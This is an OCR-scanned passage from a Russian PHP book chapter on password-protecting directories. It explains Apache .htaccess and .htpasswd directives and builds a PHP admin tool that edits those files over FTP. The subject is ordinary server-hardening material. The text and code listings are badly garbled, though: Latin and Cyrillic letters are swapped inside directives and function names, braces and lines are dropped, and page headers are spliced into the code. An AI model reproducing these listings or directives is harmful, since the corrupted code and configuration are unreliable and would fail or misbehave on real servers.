("<br>Bo время загрузки файла ПР ОИЗОIШ1а ошибка ...") ; else // Отправляем поль зователю файл hеаdеr ("С опtепt-Disроs itiоп : attachment ;". " filename= " .basename ($_GET ['dir ' ]));
934 Часть 11. Создание са йmа hеаdе r ("Сопtепt-Lепgth : ".files ize ( $localfile) ); heade r ("Content-Type : аррliсаtiоп/х-fоrсе-dО\oJпlоаd ;". " пате=\ '' '' . basename ($_GET ['dir'] ) . "\"") ; echo @file_get_contents ($localfile) ; @unlink ($localfile ); ?> Файл, путь к кото рому передается через параметр строки запроса dir, загру­ жается во временную директорию files Web-приложения при помощи функции ftp_nb_get () , которая имеет следующий синтаксис: int ftp_nb_g et ($ftp_handle , $local_fi le, $remo te_file, $mode [, $re sumepos ]) В качестве первого параметра $ ftp_handle функция принимает дес крипто р соединения с РТР-сервером. Второй аргумент $local_ file определяет путь к локальному файлу, третий параметр $remo te_file - имя И путь к файлу н а удаленном РТР-сервере. ЧетвеРТblЙ параметр mode устанавл ивает режим пе­ редач и информац ии: FT P_AS CII - для текста и FT P_B I NARY - дЛЯ бинаРНblХ файлов. НеобязатеЛ ЬНblЙ ПЯТbl Й параметр $startpos позволяет задать пози­ цию в байтах, начиная с которой следует загружать файл . Функция возвращает одну из трех констант: О FT P_FAILED - есл и не удал ось передать файл на РТР-сервер; О FT P_ FINI SHED - есл и передача файла на сервер успешно завершена; О FTP_MOREDATA - если в настоящий момент передача дан ных продолжается . Дл я предотвращения случайного перезаПИСbl вания файлов в директории files для каждого из них формируется уник альное имя при помощи функци и temp nam ( ) , которая имеет следующий синтакс ис: tempnam ($di r, $prefix ) Функция для директории $dir возвращает уни кальное имя файла, кото рое начинается с префикса $prefix. Точно так же, как и в листинге 21.8, контрол ь за состоянием загрузки файл а осуществляется в цикле wh ile при помощи рассмотренной Вblше функции ftp_nb_c ont inue ().
ГЛ АВА 22 Защита директорий паролем в главе 9 рассматривал ас ь защита файлов системы ад министр ирования при п омощи базовой авторизации, которая осуществл яется путем отправки кл и ­ енту НТТР-заголовков. Такой способ авто ризации удобен тем, что логин и п арол ь пользователя хранятся в базе данных, что позволяет легко обновлять и редакти ровать список пользователей. Однако базовая авторизация доступна тол ь ко в том случае, если РНР установлен в качестве модуля; есл и же РН Р уст ановлен в качестве внешнего СGI-приложения, переменные окружения PHP_AUTH _U SER и PHP_AU TH_PW не запол ня ются и выполнить авто ризацию не­ в озможно. Однако Web-сервер Apache предоставляет собственные достаточно гибкие средства защиты как отдел ьных файлов, так и директорий за счет конфигу­ рационных файлов .htaccess и .l1tpasswd . В данной гл аве будет создано Web­ п риложе ние, позволяющее авто матически генерировать и редактировать эти файл ы для защиты директорий сайта от несанкционированного доступа. 22.1 . Конфигурационные файл ы . htaccess и .htpasswd Прежде чем приступить к созданию приложе ния, позволяющего защищать директории сайта паролем, рассмотрим подробнее ко нфигурационные фай­ л ы .l1taccess и .l1tpasswd . Дел о в том, что Web-сервер Арасl1е имеет мнmке­ ство настроек, которые можно редактировать в гл авном ко нфигурационном файле I1ttpd .conf. Один Web-сервер может управлять сотнями и тысячами сайтов, настройки которых могут отл ичаться друг от друга. Для этого в файле 11ttpd.conf (в новых версиях дл я каждого сайта предусмотрен отдел ь-
936 Часть 11. Создание сайта ный конфигурационный файл ) предусмотрены специальные контейнер ы <VirtualHost> ...< /Vi rtualHost>, в которых можно указать специфич е­ ские для данного сайта директивы . Каждый сайт может иметь сотн и и ты ­ сяч и директорий, настройки для каждой из которых могут отл ичаться от настроек соседних директорий. Для управления отдел ьными директориями предназначен конфигурационный файл .lltaccess, в котором Web-мастер может размещать конфигурационные директи вы (файл .htpasswd использу­ ется для хранения имен пользовател ей и паролей). ЗА МЕЧАНИЕ Ко нфигурационный файл Httpd .conf и настройка виртуал ьных хосто в б ол ее подробно обсуждаются в приложе нии 1. Не все директивы Web-сервера Apache можно использовать в конфигураци ­ онном файле .htaccess. Бол ее того, испол ьзование директив в конфигураци­ онном файле .htaccess должно быть разрешено в глав ном файле httpd.col1f при помощи директивы AllowOve rride Al l, расположенной в контейне ре <Directory /> .. . </Di rectory> (листинг 22. 1). Листинг 22.1. Использование директи вы Al l owOve rride <Directory /> Opt ions Fo llowSymLinks Indexes Al l owOve rride Al l </Directory> Директива может принимать одно из следующих значений или их комбина­ цию : Al l, None, AuthConfig, Fi lelnfo, Indexes, Limit, Opt ions . Есл и указ ы­ вается несколько значений, то они должны быть разделены пробел ом (л ис­ тинг 22.2). Ли{;тинг 22.2 . Использование комби нации значений <Directory /> Op tions FollowSymLinks Indexes Mul tiVi ews Al l owOve rride AuthCon fig Fi lelnfo Indexes Limi t Opt ions </Directory> Значение Al l включает все директивы, доступные для использования в ко н­ фигурационном файле .htaccess, а значение None, соответственно, отключает.
Гл а ва 22. Защита директорий паролем 937 Каждое из значений директивы Al l owOve rride разрешает использование в ко нфигурационном файле .l1taccess определенной группы директив, которые оп исываются в табл . 22. 1. Значение AuthConfig Fi lelnfo Indexes Limit Opt ions Таблица 22. 1 . Значения д ирективы Al lowOve rri de и их влияние на файл .htaccess Группа директи в, разрешенных для испол ьзования в .htaccess Аутентификации и управления доступом (таких как Au thDBMGroupFile, Au thDBMUserFile, AuthGroupFile, Au thN ame , Au thType, Au thUserFi le И Require) Управления ти пами документов (AddEncoding, AddL anguage, AddT ype, DefaultTyp e, ErrorDocume nt И Language Priority) Управления индекса ми каталогов (AddDescription, Addlcon, AddiconByEncoding, AddlconByType, Defaultlcon, Directo- rylndex, Fancylndexing, Heade rName , Index Ignore, IndexOp- tions и RenameN ame ) Управления доступом к узлам (Al low, Dепу и Order) Управления свойствами каталогов ( Op tion И XBi tHack) Помимо конфигурационного файла .htaccess часто испол ьзуется файл .htpasswd, в котором хранятся имена пользователей и их пароли. Как м ожно видеть, ко нфигурационные файлы начинаются с точки - это связано с те м, что в UNIХ-подобных операционных системах скрытые файлы не пом ечают­ ся специальным ат рибутом, а просто начинаются с точ ки. Файл .l1tpas swd м ожет и м еть произвольное название, поскольку его и м я, как будет показано далее, определяется в конфигурационном файле .i1taccess. В отличие от него им я файла .l1taccess задается в конфигурационном файле i1ttрd.сопf при по­ м ощи директивы AccessFileName (листинг 22 .3). Листинг 22.3. Использова ние директивы Ac ces sFileName В httpd.conf Ac cessFileName .htaccess Вместо имен .l1taccess и .i1tpasswd можно использовать другие, однако это не рекомендуется, так как это тради ционные названия и м ногие Web­ п риложе ния в Сети создан ы с учето м именно таких расширений. Кром е этого, при использовании других названий потребуется редактирование
938 Часть 11. Создание са йта контейнера Fi les В 11ttрd .сопf, который запрещает доступ к файлам, нач и­ нающимся с префикса .lуt.. . (л исти нг 22 .4), в проти вном случае пользовател и получат возможность просмотра содержи мого конфигурационных файл о в через браузер. Листинг 22.4 . Фрагмент файла httpd.conf для запрета досту па к файлам, начинающимся с префикса . ht <Files - "Л\ .ht"> Orde r allow , deny Оепу from all Satis fy Al l </Files> 22.1 .1 . Запрет доступа к дире кто рии Очень часто возникает задача безусловного досту па к отдел ьным директо ри­ ям (ил и сайтам) через браузер. Для управления доступом и запрето м обращения к тем или иным ресурсам служат директивы allow И deny соответственно. Конфигурационный файл .htaccess и может содержать нескол ько директив deny И allow; порядок их выполнения определяется директивой orde r. Есл и испол ьзуется директива Orde r deny, allow сначала вы пол няются все зап ретител ьные ( deny) директи вы, и лишь зате м директивы, разрешающие доступ ( allow) . Из менение порядка следо вания директив приводит к смене порядка и х выполнения. ЗА МЕЧАНИЕ После запятой, расположенной между allow и deny, не допускается пробела. Сами директи вы allow и deny могут приобретать разнообразную форму. Так, в листинге 22.5 приводится пример ко нфигурационного файла .I1taccess, кото рый разрешает доступ к ресурсу тол ько пользователям с IP-адресом 127.0 .0 . 1. ЗА МЕЧА НИЕ Если конфигурационный файл .htaccess содержит синтаксическую ошибку, Web-сервер возвращает 'клиенту код состояния 500 Inte rnal Server Error ­ ошибка конфигурации сервера или внешней программы.
Гл ава 22. Защита директорий паролем Л ИСТИНГ 22.5 . Разрешен ие доступа с 'Р-адреса 127.0.0 .1 o rde r deny, allow de ny from all allow from 127.0.0.1 939 Сначала при помощи директивы orde r задается порядок примен ения дирек­ ТИ В deny И allow. Затем при помощи директи вы deny from аll запрещается обращение со всех IP-адресов. Далее откры вается доступ дл я единственного {Р-адреса 127.0 .0. 1 при помощи директи вы allow from 127 . О . О . 1 . В работоспособности дан ного механ изма можно легко удосто вериться, про­ ведя испытания на локальной машине: достаточно исправить IР-адрес в ко н­ фигурационном файле .l1taccess с 127.0.0 .1 н а 127.0.0.2, и сервер вернет HTTP-КОд состояния 403 Forbiddel1 (Доступ запрещен (рис. 22. 1 )). Forbidden Уou don'f have реппissiоп to acc ess lindex/index.php оп this sегvеI·. Рис. 22 .1 . Доступ запрещен Есл и, наоборот, требуется запретить досту п с определенного IP-aдpeca, мож­ но воспользоваться директивой, представл енной в листинге 22.6. Л истинг 22.6 . Запрет на доступ с 'Р-адреса 127.0 .0.1 deny from 127.0 .0.1 В место цел ых IР-адресов можно испол ьзовать частичные IР-адреса, указывая лишь начальный фрагмент IP-aдpeca (листи нг 22.7).
940 Часть 11. Создание сайmа Листинг 22.7 . Запрет на доступ с ди апазона 127.0.0.1-1 27 .0.0.255 deny from 127.0.0 Допускается также указывать маску подсети, есл и сеть не занимает весь сег­ мент. Директивы из листингов 22 .7 и 22 .8 эквивалентны. Листи нг 22.8. Использование маски подсети ДЛЯ запрета доступа deny from 127.0.0.1/255 .255 .25 5.0 Кроме того, маску подсети можно задавать в СIDR-нотаци и (листинг 22.9) . Листинг 22.9 . Использование СIDR-нота ции ДЛЯ маски подсети deny from 127.0 .0.1/24 К директориям, в которых хранится ценная информация, не составит труда закрыть доступ при помощи директивы, представленной в листинге 22. ] о. Листинг 22.10. Полный запрет доступа к директории deny from all Важно отметить, что доступ к файлам с виртуал ьного хоста, например, из РНР-кода по-прежнему возможен, так как файлы .I1taccess действуют тол ько на сетевой доступ к информации в директории. 22.1.2. Запрет доступа к отдел ьному файлу в предыдущем разделе рассматривалось управление доступом к директории. Однако чаще возникает задача запрета доступа к файлам с определенным расширением, например расширением . txt. Для этого прибегают к конте йнеру <Files> (л истинг 22. 11). Листинг 22.1 1. Использование контейнера <Fi les> <Files "* .txt "> deny from all </Files> В контейнере <Files> можно испол ьзовать также и имена файлов, например , дл я запрета доступа из браузера к файлу сопfig.рllР можно воспользоваться
гл ава 22, Защита директорий паролем 941 ко нфигурационным файлом .htaccess, содержимое которого представлено в листинге 22. 12. листинг 22 .12 . Запрет доступа к файлу config.php <Files "config. php"> deny frorn all </Fi les> Запрет на доступ можно осуществлять с примен ением регулярных выраже­ н ий. Так, содержимое листи нга 22. 13 эквивалентно по резул ьтату содержи­ мому листинга 22 .11. Листинг 22.13. Запрет на непосредственный досту п к фа йлам <Files -"* .txt$ " > deny frorn all </Files> 22.1 .3. Защита директории паролем Еще одной распространенной задачей является защита внутренних областей сайта паролем. Для этого, помимо ко нфигурационного файла .l1taccess, по­ требуется файл .I1tpasswd для хранения паролей. Создан ие файла .I1tpasswd осуществляется при помощи утилиты htpasswd, которая хран ится в каталоге Ыl1 Web-сервера АрасЬе. Для создания нового файла утилите необходимо передать параметр -с И па­ раметр -т, позволяющий зашифровать пароль методом MD5. Парам етр ы можно группировать, испол ьзуя сокращенный вариант -ст (л истинг 22. 14). Л истинг 22.14. Создание файла .htpasswd htpa sswd -Cпt . htpas swd user Далее утилита запрашивает парол ь для пользователя user И создает новый файл .htpasswd . Дл я того чтобы задать пароль pas sword непосредственно в командной строке, в параметры сл едует добавить параметр -Ь (лис­ ти нг 22. 15).
942 Часть 11. Создание са йmа -- -- ---- -- -- -- ------ -------------- -------------------------- �� -- Листинг 22.15. Альтернативный способ созда ния файла .htpasswd htpasswd -сть . htpasswd user pas sword В резул ьтате выполнения команды из листинга 22. 15 будет создан файл со следующим содержимым: user : $aprl$8U2 .....$Jehmbz 8MGSSzxKQZxHUEs/ Каждая строка в дан ном файле соответствует одной учетной записи. Есл и в дал ьнейшем в уже существующий файл .I1tpasswd потребуется добавить еще од ного пользователя, то параметр -с указывать не следует, так как инач е су­ ществующие пользовател и в файле будут затерты . После того как создан файл для учетных зап исей, следует создать файл .I1taccess с содержимым, представленн ым в листинге 22. 16. ЗА МЕЧАНИЕ Путь к файлу .htpasswd в ко нфигурационном файле . htaccess должен б ыть абсолютн ым. Относител ьные пути не допускаются. Если путь содержит пробелы, его необходимо заключать в ка вычки . Выяснить абсол ютный путь к текущей директории можно, обрати вшись к переменной окружен ия $_SERVER [ I SCRI PT_FILENAМE 1] из любого РНР-скрипта в это й директор ии . Листинг 22.16. За ЩИТа паролем при помощи файла .htaccess AuthType Basic AuthName "Pas sword Access" AuthUserFile /пуТЬ /К/фаЙлу/ . htраsswd require valid-us er Теперь при попытке обращения к стр анице, защищенной при помощи конфи­ гу рационных файлов .I1taccess и .I1tpasswd, будет выводиться окно с требова­ нием ввести логин и пароль (рис. 22 .2). Следует отметить , что предоставлять доступ по паролю можно не тол ько к целой директории, но и к файлам с определенным расширением ил и именем . Для это го необходимо воспол ьзоваться контейнером <Files> (листинг 2. 17). Листинг 2.17. Защита паролем архивных файлов <Files "* . zip"> AuthType Bas ic AuthName "Password Ac cess"
Гла ва 22. Защита директ орий паролем AuthUserFile /путь /к/фаЙлу/ . htра SSWd require va lid-user </ Files> Рис. 22.2 . Окно с требованием ввести логин и пароль 22.2. Web-интерфейс защиты директории паролем 943 Разрабатываемое в дан ном раздел е Web-приложение будет позвол ять защи­ щать произвол ьную директорию саЙта . Бл агодаря прил ожению адм инистра­ тор получит возм ожность назначить произвольное кол ичество парол ей, кото­ рые будут помещаться в файл .htpasswd . Так как од ин и тот же парол ь может использоваться для защиты нескольких директорий, прил ожение позвол ит создавать два вида парол ей : D гл обал ьный пароль - действующий в предел ах всего сайта и хранящий­ ся в файле .htpasswd , распол оженном на од ин уровень выше корня сайта; D локальный парол ь - действующий тол ько дл я те кущей директории и хра­ нящийся в файле .I1tpasswd, рас пол оженном в защищаемой директории.
944 Часть 11. Создание сайmа Если оди н и тот же парол ь будет испол ьзоваться дл я заЩИТbI нескольких ди­ ректорий, лучше его сделать гл обалЬНblМ, есл и же даННblЙ парол ь БОЛ ьше нигде использоваться не будет - его можно сделать локалЬНbl М. Для навигации по директориям сайта и создания ко нфигураЦИОННblХ файлов удобнее всего воспользоваться FТР-доступом, подробно рассматр ивающи м ся в главе 21. Это обеспеч ивает ряд преимуществ по сравнению с фаЙЛО В bl М доступом : О обеспечивается доступ к директориям, расположеННblМ Вblше ко рнево й директории (для фаЙЛОВblХ функций РНР та кой доступ, как правило, за­ крыт); О для ко нфигураЦИОННblХ файлов в качестве владел ьца будет В blставл ен FТР-пол ьзовател ь, а не пользователь из-под которого работает Web-cep­ вер Apache, как это часто бblвает при создан ии файлов средствами Р Н Р ; О авто матически решается проблема с правам и доступа: так как владел ьцем всех файлов и каталогов на сервере Вblступает FТР-пол ьзовател ь и, как правило, для него установлено право на редакти рование, не по�ребуется дополнительного изменения прав доступа на защищаеМblе директории . РазрабаТblваемое Web-приложение будет создавать конфигураЦИОННblе фай­ Лbl .htpasswd и .htaccess, не переПИСbl вая, однако, уже и м еющиеся фаЙЛ bl, а редактируя их путем добавления или уничтожения директив, ответственных за ограничение доступа к директории. Если добавляется логин, уже им ею­ щийся в файле .htaccess, новая запись H� создается, а соответствующий ей парол ь заменяется . ЗА МЕЧА НИЕ Для успешного функционирования приложения потребуется директория fi les, где будут размещаться временные файлы. Приложение будет состоять из следующих семи файлов: О index.php - главная страница Web-приложения, содержащая список поддиректорий текущей директории; О pasadd.pl1p - НТМL-форма для добавления/редактирования локального пароля; О pasdel.pl1p - скрипт для снятия локальной заЩИТbI для текущей директории; О pasglobadd.php - НТМL-форма дл я добавления/редактирования гл обал ь­ ного пароля;
гл а ва 22. Защита директорий паролем LJ pasglobdel.pl1p - скрипт для удал ения гл обального пароля; 945 LJ pasglobset.php - скрипт для защиты директории гл обальным паролем ; LJ pasusrdel.p11p - скрипт для удаления локального пароля. ЗА МЕЧАНИЕ Для установки соединения с FTP-сервером будет использоваться ко нфигу­ рационный файл сопfiglftр_соппесt.рhр (см . листи нг 21 .1). Помимо пере­ менных $ftp_user, $ftp_pa ssword, $ftp_s erve r, содержащих имя поль­ зовател я, его парол ь и адрес FTP-сервера , файл сопfig/ftр_со ппесt. рhр снабжается переменной $ftp_ab solute_p ath, В кото рую помещается путь от ко рня диска до корня саЙта . Последняя переменная необходима для формирования абсол ютн ого пути к файлу .htpasswd , так как отн осител ьный путь не допусти м. Пом имо основных файлов проекта, будет использована библ иотека utils/u itls.htfiles.pl1p, содержащая функции дл я работы с файлами .htpasswd и . htaccess. Кроме того, во время работы с ними потребуется нескол ько раз проверять, существуют л и эти файлы в текущей директории, а таюке пол у­ чать и перезаписывать их содержимое, поэтому лучше сразу разработать ряд вспомогател ьных функций (табл . 22 .2). ЗАМЕЧА НИЕ Каждая функция принимает в качестве первого параметра дескриптор со­ еди нения с FTP-сервером $ftp_hand le. Таблица 22.2 . ВспомогатеЛЬНblе функции для р аботbl с файлами . htpasswd и .htaccess Фун кция Описа ние iS_ht access ($ftp_h andle , Проверяет, имеется ли в директории $dir $dir) файл .htaccess iS_h tpasswd ($ftp_h andl e, Проверяет, имеется ли в директории $dir $dir) файл .htpasswd get_htaccess ($ftp_h andle , Возвращает содержимое файла .htaccess, $di r) расположенного в директории $dir ge t_htpas swd ($ftp_h andl e, Возвращает содержи мое файла .htpasswd , $dir) расположенного в директории $dir
946 Часть 11. Создание сайmа -- -- -- ---- -- -- -- --------------------------------------------�� -- Табл ица 22.2 (окончание) Фун кция Описа ние put_htaccess ($ftp-handle, Перезаписывает содержи мое файла .htaccess $dir, $content ) в директории $dir содержи мым переменной $content put_htpas swd ($ftp_h andle , Перезаписывает содержи мое файла . htpasswd $dir, $content ) в директории $dir содержи мым переменной $content Парные функции из табл . 22 .2 (например, iS_h taccess () И iS_h tpasswd ()) аналогичны друг другу. Дал ее будут рассматриваться функции тол ько дл я файл а .Iltaccess, поскол ьку соответствующие функции дл я файл а .I1tpasswd отличаются тол ько именем ко нфигурационного файла. В листи нге 22. 18 п р и­ водится код функции is_h taccess (), которая проверяет наличие в директ о­ рии файла .I1taccess. ЗА МЕЧА НИЕ Полные коды приложения можно найти на ко мпакт-диске, поста вляемом вместе с книгой. Листи нг 22.18. Проверка существования файла .htaccess, функция �s_h taccess () <?php function is_ht access ($ftp_handle , $dir) $is htaccess dir = false ; $fi le_list = @ftp_rawlist ($ftp_handl e, $di r) ; if (!empty ($file_l i st) ) foreach ($file_list as $fi le_single ) // Разбиваем строку по пробель ным символам list ( $acc , $bloks , $group , $user,
Гла ва 22. Защита директорий паролем $size, $month , $day , $year , $file) = preg_split ("/ [\sJ+/", $fi le_s ingle ); if ( $file == ".htacces s") $is_ht access_di r true ; ?> 947 Функция is htaccess () принимает в качестве первого параметра $ ftp_h andle дес криптор соединения с FTP-сервером, а в качестве вто рого ­ и мя те кущей директории $dir. Далее при помощи функции ftp_r awl ist () извлекается список файлов и подкатал огов директории $dir. Есл и в это м списке оказывается файл .I1taccess, функция возвращает true, В проти вном случае возвращается false. В листи нге 22. 19 приводится содержимое функции get_ht access (), кото рая воз вращает содержи мое файл а .I1taccess. Листинг 22.19. Извлечение содержимого файла .hta cceS5 , функция get_htaccess () <?php fun ction get_ht acces s($ ftp_handle , $dir) $local_ht access = tempnam ( "files ", "down" ) ; $ftp_ht access = str_replace ("//", "/", $dir . '/.htaccess '); $ret = @ftp_nb_get($ ftp_handle , whi le ($ret $local_ht access, $ftp_htaccess, FТP_BINARY ) ; FТP_MOREDATA) // Продолжаем загрузку $ret = @ftp_nb _c ont inue ($ftp_handle ) ;
948 ?> @chmod ($local_ht access, 0644) ; $content = @file_get_contents ($local_ht access) ; @unlink ($local_h tacces s) ; return $content ; Часть 11. Создание са йта Функция get_h taccess ()загружает файл .I1taccess из директории $dir в ката­ лог для временных файлов files при помощи функции ftp_nb_g et () (см . главу 21). При этом файл переименовывается : ему назначается уникал ь­ ное имя, которое генерируется функцией temp nam () (см. главу 21). Такое пе­ реименование необходи мо в том случае, если с файлом одновременно рабо­ тает нескол ько человек. После того как файл загружен, его содержимое передается в переменную $content, а локальная копия файла .I1taccess унич­ тожается при помощи функции unl ink (). в качестве результата функци я возвращает содержимое файла .l1taccess в переменной $content . В листинге 22.20 приводится код функции put_ht access (), ответственной за замену содержимого файла .I1taccess. Листинг 22.20. Замена содержи мого файла .hta ccess, фун кция put_htaccess () <?php function put_htacces s($ ftp_handle , $dir, $content ) $local_h taccess tempnam ("f iles ", "down" ) ; $fd = @fopen ($local_ht access ,"w ") ; if ( $fd) @fwrite ($fd, $content) ; @fclose ($fd) ; @chmod ($local_h tacces s, 0644) ; // Загружаем файл .htaccess на сервер $ftp_name = str_rep lace ("// ", "/", $dir . '/.htaccess '); $ret = @ftp_nb_put ($ftp_handle , while ($ret $ftp_name , $local_htaccess , FГP_BINARY ) ; FГP_MOREDATA)
Глава 22. Защита директорий паролем ?> // Продолжаем з а грузку $ret = @ftp_nb_c ont inue ($ftp_handle ) ; if ($ret // Изменяем права доступа // к созданной директории @ftp_chmod ($ftp_handl e, 0644, $ftp_name ); @unlink ($local_ht access) ; 949 Фу нкция put_ht access () создает в директории files файл с содержимым па­ раметра $content . Уникальное имя файла ге нерируется при помощи функции t ernpnam ( ). После это го файл загружается на сервер под именем .i1taccess в директорию $dir при помощи функции ftp_nb_put () . Права доступа к за­ груже нному файлу изменяются на 0644 при помощи функции ftp_Chrnod (), а локальная копия файла уничтожается посредством функции un link ( ) . диреКТОРl1И пароле�1 Гостевая книга Б;:]ОI( новосш ГаПЕ'рея Н!lQК!:9.Il\Ю1.е.!iШ Ш! ОО'IГQвая рассылка Оользосатели class ПОflьзоmпеШI I АеЙСJВI1I I Э.!I.!!МIШ!! Директория ;d;;ш,ш.IИ J. 1I. покапьны,м не rлобапьнымн Ш!Q Q.®k! защищена 1l1i.R;Pl l8.MJ1 защитигь Директория ЗаЩИТL1ТЬ !l'ЖqlJЬНI,'!м не !! !QД 9D.� !:! !! lliШ. паРОЛЕН� защищена ларолям" 19..!1 1ill:!1Th ДИректория .i1JLЦU:Ш1Т !! Рис. 22.3 . Внешний вид гл авной ст раницы приложения
950 Часть 11. Создание сайта Теперь, когда все вспомогател ьные функции готовы, можно присту пить к разработке основной части Web-приложения. Гл авная страница iпdех. рllР в ы ­ водит список текущих поддиректорий в виде табл ицы (рис. 22.3). Первый стол бец табл ицы содержит имена поддиректорий текущей директо­ рии. Каждое имя представляет собой гиперссылку, переход по которой при­ водит к выводу содержимого данной поддиректории. Вернуться на предыду­ щие уровни позволяет навигационная строка перед табл ицей. Второй столбе ц содержит имена локальных пользователей, есл и такие пользователи создан ы при помощи ссылки, расположенной в третьем столбце. Четвертый столбец отображает статус защиты : если директория защищена паролем, в это м столбце выводится управляющая ссылка, позволяющая снять защиту. По­ следний стол бец содержит управляющую ссылку, позволяющую защитить директорию гл обальным паролем. Под основной табл ицей выводится список гл обальных паролей (рис. 22.4). Содержимое гл авной страницы iпdех. рllР приводится в листинге 22 .21 . Стра­ ница принимает единственный GET-параметр dir, который испол ьзуется дл я передач и пути к текущей директории (отсчет начинается от корня FTP­ сервера) . test local (сменить !Ш!1Q!Th.'l lШ!11l!,) Добавить ПОПЪЗ0вагеля ЗаЩИnН6 гпо5аЛЬНЬI-М�� паРОЛЯМ�1 Чаcrо не удоб!Ю ltl.lе1Ь локэnыlыe пароли ДЛЯ каждой 113 защищаемых ДIfРef(iOjJИЙ саша, особенно если f8.ЮtК диреКТОРl1Й �1Н010. В этом cnу'Ше удобно 1"'е1Ь глобальные пароли ДЛЯ всех А;1Р�КТОРИЙ сайra. TaKl1e паратl храliRТСЯ в Фаimе .htpass\vd на один уровень BЫlUe хорневой ДlfрекrOjJИИ виртуального хоста. 3ащип пь ДI1pel(1'OjJIiЮ гnoбaЛЫIЫМ>! пароля�,и можно пр>! ПО�lOЩи управляющей CCb11 1Кl 1 "ЗаЩlffiП6 rnобаЛЬНЫlolи параЛRМI('. Доб авить rл06альный ,",ЩОЛЬ Рис. 22.4. Управление гл обальными паролями
Глава 22. Защита директор ий паролем Листинг 22.21 . Список директорий и управление глобальными па ролями, index.php <?php // Данные переменные определяют название страницы и подсказку $title = 'Установка пароля на директорию '; $pageinfo = '<р сlаss=hеlр>Данная панель позволяет установить пароль на директорию посредством конфигурационных файлов .htaccess и .htpas swd . Файлы .htaccess .и htpas swd защищают содержимое директорий от обращений через браузер .<Ьr> РНР-скрипты могут обращаться, используя локальный или абсолютный путь к файлам без каких-либо ограничений , пароль будет запрашивать ся, толь ко если исполь зуется полный сетевой путь , например , httр:/ /WW W . Sitе . ru/защищаемая_директория /</р >· ; // Устанавливаем соединение с базой данных require_once ("../ ../config/config .php ") ; // Подключаем блок авторизации requi re_once (". ./utils/security_m od .php ") ; // Включаем заголовок страницы requi re_o nce ("../utils/top .php ") ; // Устанавливаем соединение с FТP-cepBepoM require_once ("../ . ./config/ ftp_connect .php ") ; // Подключаем Функции для работы // с файлами .htaccess и .htpas swd require_once ("../utils/uitls .htfiles .php " ); if (empty ( $_GET ['dir ' ])) $directory "/"; else $directory = $_GET[ 'dir' ]; $file_list = ftp_rawlist ($ftp_handle, $directory) ; if ( ! empty ($file_list ) ) // Выводим ссылки на предыдущие каталоги $_GET[ 'dir' ] = rtrim($_GET[ 'dir'] , "/"); $prev = explode ("/", $_GET ['dir ']); if ( !empty ($prev) ) 951
952 ?> $prev_p ath = ""; $link = array () ; for ($i = О; $i < count ($prev) ; $i++) $prev_pach .= "/" .$prev[$i] ; Часть 1/. Создание са йта $prevyach = str_rep lace ("//", "/", $prev_pach ); Н(!ernpty ($prev [$i] ) ) $link [] = "<а href=index .php ?dir=" . urlencode ($prevyach ) . ">" . $prev [$i] . "</а>"; else $link [] = "<а href=index .php ?dir=" . urlencode ($prev_pach ) . ">Корневая директория</а>" ; echo "<р class=help> ".irnplode ("-&gt; " ,$l ink ) ."</р>" ; echo "<br>"; <table width="lOO%" class="table" borde r="O" cellpadding="O" cellspacing="O"> <tr class="header" align= "center"> <td> &nbsp ;</ td> <td аligп=сепtеr>поль зователи< / td> <td align=center соlsрan=З >действия</td> </tr> <?php $i=О; foreach ($file_list аэ $fi le_s ingl e) // Разбиваем строку по пробельным символам
Гла ва 22. Защита директорий парол ем list ( $acc , $bloks , $group , $user, $size, $rnonth, $day, $ye ar, $file ) preg_split ("I [\э] + 1", $file_single ) ; if ($file " 11 $file ".") cont inue ; $url = urlencode (str_rep lace ("II ", "I", $directory. "I" . $file ) ); $dir = str_replace ("II", "I", $directory. "I" . $file) ; if ($acc [O] == 'd' ) II Пр оверяем, имеют ся ли в дир ектории II файлы .htaccess и .htpas swd $flag = false; if (is_ht access($ ftp_handle , $dir) ) $content = get_htaccess ($ftp_handle , $dir) ; $flag = (strpos ($content , "require") !== false) && (strpos ($content , "valid-user" ) != false) ; if ($flag ) { $delete = "<р><а href=# onCl ick=\"delete_po sition ('pasdel .php ?dir=$url ',". 953 "'Вы действительно хотите снять защиту с директории ? ');\ "". ">Снять защиту< /а></р>"; $addcorn = "<р><а href=pa sglobset . php?dir=$url ". "titlе=\ "3ащитить директорию глобаль ными паролями саЙта\"". ">3ащитить глобальными паролями< /а></р>" ; if (is_htpasswd ($ftp_handle , $dir) ) { $add = "<р><а href=pas add .php ?dir=$url " "titlе= ' Добавить еще один аккаунт к суще ствующим ". "(для дир ектории ) '>Добавить пользователя< /а></р>";
954 Часть 11. Создание сайта // Получаем содержимое файла .htpas swd // и извлекаем имена поль зователей $edit = ""; $content $pattern get_htpasswd ($ftp_handle, $di r) ; "#([Л\п:]+):#"; preg_rnatch_all ( $pattern , $content , $ou t) ; Н( !empty ($out [l] )) { foreach ($out [l] as $user) $edit_arr [] = "$user «аtitlе= ' Изменить локаль ный пароль " . " пользователя ' hrе f=раsаdd .рhр ?di r=$url&пarnе= ".urlепсоdе ( $usеr) . ">сменить пароль </а> ,". "<а titlе= ' Удалить локального пользователя ' " "href=# onClick=\ "deleteyosition ( 'pasus rdel . php?dir=$url&narne =" . urlencode ($user) ."', 'Вы действительно хотите лишить ". " поль зователя доступа к данной дирвктории ? ')\">удалить </а» "; if( !empty ($edit_arr ) ) $users implode ("<br> ", $edit_arr ); else $users "&nbsp" ; else else $users $add "&nbsp" ; "<р><а href=pasadd .php ?dir=$url titlе= ' 3ащитить дИРекторию локальным паролем ' >3ащитить локальным паролем</а></р> "; $addcom = "<р>ДИректория защищена глобальными паролями< /р>";
Глава 22. Защита директорий паролем ) $delete $add "<р>ДИректория не защищена< /р>" ; "<р><а hre f=pas add .php ?dir=$url titlе= ' Защитить директорию локальным паролем ' >Защитить локальным паролем</а></р> "; $users = "&nbsp; "; $addcom = "<р><а href=pa sglobset . php?dir=$url titlе=\"Защитить директорию глобальным паролем сайта \" >Защитить глобальными паролями< /а></р>"; // Директ ория $file "<Ь><а href=index .php ?dir=$url title= ' OTKpblTb директорию '>$ filе</а></Ь> "; echo "<tr> <td align= right>$ file</td> <td align= center>$users</td> <td align=center>$add< /td> <td align=cente r>$delete</td> <td align=center>$addcom< /td> </tr>" ; echo "</table><br><br> "; echo '<р сlаss=hеlр>Часто не удобно име ть локаль ные пароли для каждой из защищаемых дир екторий сайта , особенно если таких директорий мн ого . В этом случае удобно име ть глобальные пароли для всех директорий саЙта . Такие пароли хранятся в файле .htpasswd на один уровень выше корневой директории виртуального хоста . Защитить дир екторию глобаль ными паролями можно при помощи управляющей ссылки "Защитить глобальными паролями" . <br><br> ' ; echo '<а href=pasglobadd .php ?dir= 